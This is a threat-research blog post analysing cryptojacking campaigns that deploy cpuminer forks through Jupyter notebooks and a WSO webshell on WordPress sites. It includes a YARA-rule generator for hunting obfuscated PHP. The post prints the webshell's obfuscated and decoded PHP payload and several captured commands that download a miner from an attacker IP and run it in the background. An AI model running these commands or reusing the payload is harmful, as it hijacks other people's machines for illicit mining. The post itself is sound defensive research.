Cpuminer & Friends

Chris Hall
Cloud Security Researcher, Lacework Labs


CPUMiner Stormtroopers

Key Take-aways:

  • Actors are now leveraging two variants of the same open-source multi-algorithm cryptomining utility – cpuminer.
  • Two general tactics have been observed to date including Jupyter command execution (T1059) and WordPress exploitation (T1584).
  • This blog includes a short tutorial on obfuscated PHP analysis performed as part of this research.

Summary

Cryptojacking (T1496) is by far the most prolific threat for cloud workloads today, and until recently most incidents involved Monero/XMRig. Starting in February 2021, Lacework observed an uptick in cryptojacking attacks involving a variety of altcoins. These have involved a couple similar forks of the open-source multi-algorithm miner known as “cpuminer”. While cpuminer has been legitimately used for years, the increased illicit use in cryptojacking is a new trend. This blog describes the cpuminer forks and details activity in the wild which includes propagation via Jupyter command execution and a variant of the WSO webshell which infected numerous wordpress installations.

Cpuminer forks

Cpuminer, or cpuminer-opt is an open-source miner supporting over 90 algorithms. The miner was originally created 5 years ago by “Jay D Dee” and is itself a fork of “cpuminer-multi” by TPruvot. There are several communities and pools based on cpuminer and its variants. As of this blog, there are 391 forks of Jay D Dee’s version on GitHub.

Two variants, while not on GitHub, have been observed in recent cryptojacking botnet activity. For the purposes of this blog these will be dubbed cpuminer-mal1, and cpuminer-mal2. These variants are characterized by bash files that are bundled with the miner. Each bash file is a template of a specific command for a given cryptocurrency.

Both sets of bash files in cpuminer-mal1 and cpuminer-mal2 are similar. The following shows contents for each. The most notable difference between the two are the different pool names and the sleep interval for the mining. Also, the cpuminer-mal1 includes twice as many bash files.

Examples:


Miner-bellcoin.sh (cpuminer-mal1)




start_mining_bellcoin (cpuminer-mal2)

 

The following shows the bundled bash files for cpuminer-mal1 and cpuminer-mal2 respectively.

cpuminer-mal1 bash files
(bc2acb07b86a3bc1790ad10584fd6e96d89c7e0fb8e7a9dbfcdde877df386639)
cpuminer-mal2 bash files
(7c0874c2c0bd3f1b54c261f6ba5a5dbab67fe9f1cb4b12def90714ea7f725ba4)

Jupyter

Jupyter notebook is an open-source web application designed to share documents, live code, and visualizations. The ability to run live code however is the feature that makes it attractive for adversaries since malicious programs can also be run as a notebook. This was evident in several incidents observed by Lacework involving deployment of both cpuminer-mal1 & cpuminer-mal2 using Jupyter-notebooks. This activity is similar to traditional cryptojacking except that it is in the context of the jupyter application.

Jupyter Exploit

Jupyter command executions – captured by Lacework agent

Recent indications of Jupyter targeting in the wild also include TeamTNT as well as the Sysrv-hello botnet which was recently documented by Lacework Labs. Several file artifacts in TeamTNT malware indicate targeting and reconnaissance against Jupyter deployments. One was observed in a January specimen and consisted of an unused shodan query. (Unused in that it was not functionally part of the malware but rather just a static artifact).

 

Jupyter Recon – TeamTNT malware

 

This query returns Amazon hosted Jupyter deployments with a single sign on (SSO) interface. The intent was presumably to find targets for password brute forcing.

 

Jupyter Discovery – Shodan

Lacework has observed the following unique cpuminer command configurations in Jupyter incidents.


cpuminer-sse2 -a power2b -o stratum+tcp://power2b.mine.zergpool.com:7445 -u DGBeQ4sAoq7PuyKYYKNSM2PtMpUwDFm67i -p c=DOGE


cpuminer-sse2 --cpu-priority 4 -a yescryptr16 -o stratum+tcps://stratum-ru.rplant.xyz:17057 -u GLxQVNhB9xPTMNSPQFozdvspBaxCjZQzyb.dd


/cpuminer-sse2 -a yespowersugar -o stratum+tcps://stratum-eu.rplant.xyz:17042 -u sugar1q4374x5ts23atnqre2my29elpw7l88y86dpjumx.myusuffs


/cpuminer-sse2 -a power2b -o stratum+tcp://power2b.mine.zergpool.com:7445 -u DEMbjTxMXnwRfFwJQe9aZEx7BMsGC4MK9B -p x


/cpuminer-sse2 -a power2b -o stratum+tcp://power2b.sea.mine.zpool.ca:6242 -u DKYuH2QBKkS3x8D4Z1eyasc7nGqBugAANe -p x -t4


/cpuminer-sse2 -a yescrypt -o stratum+tcp://yescrypt.eu.mine.zergpool.com:6233 -u 0xbfbe89f8bd096351d6c7672f5b3c4e7a01bc0a5c -p x


./cpuminer-sse2 -a yescrypt -o stratum+tcp://yescrypt.sea.mine.zpool.ca:6233 -u D7FiHs4veoNzozBZx9SsZHjawoQVP1t4FT -p x -t2


Untitled.ipyn -a power2b -o 45.77.241.206:8003 -u MjFgLGhq9hM8gBA3brjC3Ni3GqinqUrCHj -t 1


./Untitled.ipyn -a power2b -o 45.77.241.206:8003 -u MpBnwpqKT28h9Yfe1kS6Fy9Ne7yK9LGUFz -t 1

 

WSO Webshell

Examination of related file artifacts seen with cpuminer-mal1 & 2 specimens exposed several low-detection malicious PHP files. These were later identified as components of the wso webshell.

Related PHP files – cpuminer

 

The php file contents show a ‘system’ command with an obfuscated string parameter.
The string is in hexadecimal bytecode, however this can be easily decoded online using Unphp, or simply with a print command using python.

php system("\x63d /t\x6d\x70
\x20wget\x20\x68t\x74\x70://1\x38\x35\x2e\x32\x31\x33.209\x2e15\x31/\x6b\x6b.tar\x2egz
\x20\x74ar -z\x78f\x20\x6bk\x2eta\x72.\x67\x7a
\x2e/\x64\x6fn\x74\x6bil\x6c\x6de\x20-a\x20\x79e\x73p\x6f\x77e\x72\x53\x55\x47\x41\x52\x20-\x6f\x20\x73\x74r\x61\x74\x75\x6d+t\x63p://\x79e\x73\x70ow\x65\x72s\x75\x67ar\x2e\x6d\x69ne.zer\x67\x70oo\x6c.\x63om:6\x35\x33\x35 -\x75\x20Lh\x7a\x69f\x4e\x4a\x70n\x4cr\x33\x32\x55d\x6e\x70Sx\x6dW4\x79s\x43\x37\x71VT\x71Wa\x59c -\x70 \x63=L\x54\x43,m=solo\x20--\x62a\x63kgr\x6f\x75\x6e\x64")

After deobfuscation, the command is visible. This shows the download, extraction, and execution of the cpuminer payload (dontkillme). Note – this command is intended for the compromised WordPress host. 

php system("cd /tmp wget http://185[.]213[.]209[.]151/kk.tar.gz tar -zxf kk.tar.gz./dontkillme -a yespowerSUGAR -o stratum+tcp://yespowersugar.mine.zergpool.com:6535 -u LhzifNJpnLr32UdnpSxmW4ysC7qVTqWaYc -p c=LTC,m=solo --background")

Another artifact of interested is the plaintext echo: ‘I love you, how about you’

... O_OO00O0__{37}.$O_OO00O0__{30}.$O_OO00O0__{3};echo 'I love you,how about you';header('Content-Type:text/html;charset=utf-8');$OO0O0_0O__=${"\...

A Google dork that combines this artifact along with the php file names returned numerous instances of this malware in the wild. While the specific vector for the webshells is unclear, a WordPress exploit was most likely given all observed instances are WordPress websites.

WSO Webshell – In the Wild

An inventory of these php files both in the wild and in Virus Total return several unique cpuminer commands, however all used the same cpuminer download IP address 185.213.209.151. This indicates the same operator for all observed installations.


cd /tmp; wget 185.213.209.151/upgrade; chmod +x upgrade; ./upgrade -o 51.81.245.40:4444 -u 8ACw6p7bXxFCMQgCm6nrtD2mrwq9xnkiY64LV7QZamXZL7Yq573DTFNZbyf7ddN5cZXCwGHAjNozjDTwK5qT1rAaGvBsuE3.localhost -p x -k --donate-level 1 --user-agent 1987.\$RANDOM --background > /dev/null1


cd /tmp && wget http://185.213.209.151/node.tar.gz && tar -zxf node.tar.gz && ./node -a power2b -o stratum+tcp://mine.zpool.ca:6242 -u LhzifNJpnLr32UdnpSxmW4ysC7qVTqWaYc -p c=LTC --background


cd /tmp; wget 185.213.209.151/screen; chmod +x screen; ./screen -a yespowerr16 -o 103.249.70.7:6534 -u LhzifNJpnLr32UdnpSxmW4ysC7qVTqWaYc -p c=LTC,m=solo --api-bind 4563 --no-longpoll --randomize --background; rm /tmp/screen > /dev/null


cd /tmp; wget http://185.213.209.151/kk.tar.gz; tar -zxf kk.tar.gz; mv dontkillme backup; ./backup -a power2b -o stratum+tcp://power2b.mine.zergpool.com:7445 -u LhzifNJpnLr32UdnpSxmW4ysC7qVTqWaYc -p c=LTC,m=solo --background


cd /tmp; wget 185.213.209.151/kk.tar.gz; tar -zxf kk.tar.gz; mv dontkillme top; ./top -a power2b -o stratum+tcp://power2b.mine.zergpool.com:7445 -u LhzifNJpnLr32UdnpSxmW4ysC7qVTqWaYc -p c=LTC,m=solo --api-bind 127.0.0.1:1987 --background


cd /tmp; wget http://185.213.209.151/kk.tar.gz; tar -zxf kk.tar.gz; rm kk.tar.gz; mv dontkillme ICE-unix; ./ICE-unix -a yespowersugar -o stratum+tcp://yespowersugar.mine.zergpool.com:6535 -u LhzifNJpnLr32UdnpSxmW4ysC7qVTqWaYc -p c=LTC,m=solo --randomize --debug --api-bind 127.0.0.1:$RANDOM --background


cd /tmp; wget http://185.213.209.151/kk.tar.gz; tar -zxf kk.tar.gz; ./dontkillme -a yespowerR16 -o stratum+tcp://yespowerR16.mine.zergpool.com:6534 -u LhzifNJpnLr32UdnpSxmW4ysC7qVTqWaYc -p c=LTC,m=solo --api-bind 127.0.0.1:6534 --randomize --debug --background


cd /tmp; wget http://185.213.209.151/kk.tar.gz; tar -zxf kk.tar.gz; ./dontkillme -a yespowerSUGAR -o stratum+tcp://yespowersugar.mine.zergpool.com:6535 -u LhzifNJpnLr32UdnpSxmW4ysC7qVTqWaYc -p c=LTC,m=solo --background

Obfuscated PHP Hunting

While decoding of obfuscated PHP is straightforward, finding samples can be a little trickier as they are often low detection, as illustrated with WSO webshell php files.

Several variations of obfuscation are usually observed. The first is a combination of hexadecimal byte code and ascii plaintext.

Example:

Another variation is a combination of hexadecimal and octal byte values:

The random combination of octal, plaintext, and hexadecimal values makes obfuscated string searching more difficult because every possible combination of these values must be accounted for. It is possible however, by generating a Yara rule for a given obfuscated string. For example, many of WSO webshell PHP files had similar obfuscated cryptomining commands for the cpuminer payload. A good string to use in these cases might be either “stratum+tcp”, or “background”.

With stratum+tcp as our string search, we can then use the python yara rule generator on the Lacework Labs GitHub. The script simply needs to be updated with the input string, desired rule name, and rule file name.


# -----------------------------------------------------------
# Generates Yara rule for detecting a given string in
# obfuscated PHP files
#
# Released under GNU Public License (GPL)
# email christopher.hall@lacework.net
# -----------------------------------------------------------

from itertools import permutations
import itertools
import hashlib

mystring = 'stratum+tcp'#obfuscated string to search

rule_name = "stratum_obfuscated"#your Yara rule name

yara_rule_file = "myyararule.txt"#your Yara rule file

This script will then generate every possible combination of plaintext + hexadecimal values and octal + hexadecimal values for the input string and will format the result into a Yara rule. This rule can then be used for both hunting in VirusTotal or simply for malware classification. Note, shorter strings make for more efficient Yara rules.

Conclusion

While this blog only describes two variants of cpuminer being utilized in the wild, command configurations suggest multiple actors. Additionally in early April, Palo Alto also reported on WSO webshell activity involving cpuminer and what is likely yet another group of actors based off of mining configurations and cryptojacking malware hosts. Cpuminer’s multi-algorithm support, and emerging illicit use suggests it will only continue to gain popularity among cryptojackers. All IOCs can be found on the Lacework Labs GitHub. Also, please follow @LaceworkLabs Twitter to keep up with our latest research.